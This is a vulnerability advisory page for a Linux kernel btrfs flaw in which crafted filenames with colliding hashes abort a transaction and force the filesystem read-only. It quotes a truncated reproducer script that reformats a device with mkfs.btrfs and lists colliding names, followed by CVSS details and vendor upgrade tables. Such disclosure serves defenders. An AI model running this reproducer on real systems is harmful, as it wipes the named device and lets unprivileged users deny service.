In the Linux kernel, the following vulnerability has been resolved:
btrfs: fix transaction abort on file creation due to name hash collision
If we attempt to create several files with names that result in the same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows for a malicious user to disrupt a system, without the need to have administration privileges/capabilities.
Reproducer:
$ cat exploit-hash-collisions.sh #!/bin/bash
DEV=/dev/sdi MNT=/mnt/sdi
# Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT
# List of names that result in the same crc32c hash for btrfs. declare -a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z' 'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4' 'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:' 'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO' 'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us' 'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY' 'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO' 'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU' 'Ono7avN5GjC:_6dBJ_' 'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am' 'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k' 'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2' 'd3uUR6OFEwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd' 'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm' 'evqk743Y@dvZAiG5J05L_ROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ' 'gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky' 'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS' 'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz' 'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu' 'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--@WqWLIuX7o1S_SfS@2FSiUZN' 'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4=' 'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn' 'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C' 'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW' '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc' 'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mC ---truncated---
CVSS Details
- CVSS 3.1 Base Score: 5.5
- CVSS 3.1 Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Debian | — | Upgrade linux | May 10, 2026 | May 10, 2026 |
| Redhat_linux | — | No solution exists | Jul 17, 2026 | May 8, 2026 |
| Ubuntu | — | Upgrade linux-image-oem-20.04bUpgrade linux-image-oem-22.04aUpgrade linux-image-awsUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-aws-64k-lts-24.04Upgrade linux-image-gcp-fipsUpgrade linux-image-azure-fipsUpgrade linux-image-fips-6.8Upgrade linux-image-6.8.0-1059-nvidia-lowlatencyUpgrade linux-image-ibm-6.8Upgrade linux-image-generic-64k-6.8Upgrade linux-image-nvidia-64kUpgrade linux-image-xilinxUpgrade linux-image-6.8.0-1058-oracle-64kUpgrade linux-image-nvidia-lowlatencyUpgrade linux-image-6.8.0-136-lowlatencyUpgrade linux-image-lowlatencyUpgrade linux-image-oracle-64kUpgrade linux-image-realtime-hwe-22.04Upgrade linux-image-6.8.0-1061-awsUpgrade linux-image-ibm-lts-24.04Upgrade linux-image-ibmUpgrade linux-image-generic-lpaeUpgrade linux-image-generic-6.8Upgrade linux-image-6.8.0-1033-xilinxUpgrade linux-image-6.8.0-1059-gke-64kUpgrade linux-image-6.8.0-136-genericUpgrade linux-image-6.8.0-1059-nvidia-lowlatency-64kUpgrade linux-image-6.8.0-1030-nvidia-tegraUpgrade linux-image-generic-hwe-22.04Upgrade linux-image-gke-64kUpgrade linux-image-nvidia-64k-6.8Upgrade linux-image-oem-22.04cUpgrade linux-image-6.8.0-1059-nvidia-64kUpgrade linux-image-azure-lts-24.04Upgrade linux-image-oracle-64k-6.8Upgrade linux-image-azure-fdeUpgrade linux-image-aws-64k-6.8Upgrade linux-image-aws-fips-6.8Upgrade linux-image-6.8.0-1061-aws-fipsUpgrade linux-image-azure-fde-lts-24.04Upgrade linux-image-raspi-realtime-6.8Upgrade linux-image-6.8.0-1064-gcp-fipsUpgrade linux-image-generic-64kUpgrade linux-image-6.8.0-1046-gkeopUpgrade linux-image-nvidiaUpgrade linux-image-oem-20.04cUpgrade linux-image-virtualUpgrade linux-image-oem-22.04bUpgrade linux-image-kvmUpgrade linux-image-raspi-realtimeUpgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-6.8.0-1061-raspiUpgrade linux-image-virtual-hwe-22.04Upgrade linux-image-6.8.0-1058-oracleUpgrade linux-image-oem-20.04dUpgrade linux-image-aws-6.8Upgrade linux-image-azure-fips-6.8Upgrade linux-image-6.8.0-1059-gkeUpgrade linux-image-gcpUpgrade linux-image-gkeop-6.8Upgrade linux-image-ibm-classicUpgrade linux-image-aws-64kUpgrade linux-image-nvidia-tegraUpgrade linux-image-6.8.0-136-fipsUpgrade linux-image-6.8.0-1063-azure-fipsUpgrade linux-image-virtual-6.8Upgrade linux-image-raspi-6.8Upgrade linux-image-6.8.0-1064-gcpUpgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-realtime-6.8.1Upgrade linux-image-nvidia-6.8Upgrade linux-image-6.8.0-1063-azureUpgrade linux-image-genericUpgrade linux-image-azureUpgrade linux-image-6.8.1-1056-realtimeUpgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-nvidia-lowlatency-64k-6.8Upgrade linux-image-gkeUpgrade linux-image-gcp-lts-24.04Upgrade linux-image-6.8.0-1061-aws-64kUpgrade linux-image-oem-20.04Upgrade linux-image-nvidia-tegra-rtUpgrade linux-image-6.8.0-136-lowlatency-64kUpgrade linux-image-oracleUpgrade linux-image-gkeopUpgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-nvidia-tegra-rt-6.8Upgrade linux-image-azure-6.8Upgrade linux-image-oracle-lts-24.04Upgrade linux-image-nvidia-tegra-6.8Upgrade linux-image-gcp-64kUpgrade linux-image-gcp-64k-6.8Upgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-intel-iot-realtimeUpgrade linux-image-gke-64k-6.8Upgrade linux-image-6.8.0-136-generic-64kUpgrade linux-image-6.8.0-1062-azure-fdeUpgrade linux-image-6.8.0-1030-nvidia-tegra-rtUpgrade linux-image-oracle-6.8Upgrade linux-image-intel-iotgUpgrade linux-image-oem-22.04Upgrade linux-image-azure-fde-6.8Upgrade linux-image-6.8.0-2050-raspi-realtimeUpgrade linux-image-xilinx-6.8Upgrade linux-image-nvidia-lowlatency-6.8Upgrade linux-image-lowlatency-64k-6.8Upgrade linux-image-laptop-23.10Upgrade linux-image-gcp-fips-6.8Upgrade linux-image-gcp-6.8Upgrade linux-image-fipsUpgrade linux-image-6.8.0-1064-gcp-64kUpgrade linux-image-lowlatency-6.8Upgrade linux-image-realtimeUpgrade linux-image-xilinx-zynqmpUpgrade linux-image-oem-22.04dUpgrade linux-image-raspiUpgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-gke-6.8Upgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-aws-lts-24.04Upgrade linux-image-aws-fipsUpgrade linux-image-6.8.0-1059-nvidiaUpgrade linux-image-lowlatency-64kUpgrade linux-image-6.8.0-1061-ibm | Jul 21, 2026 | Jul 20, 2026 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | Jul 6, 2026 | May 8, 2026 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub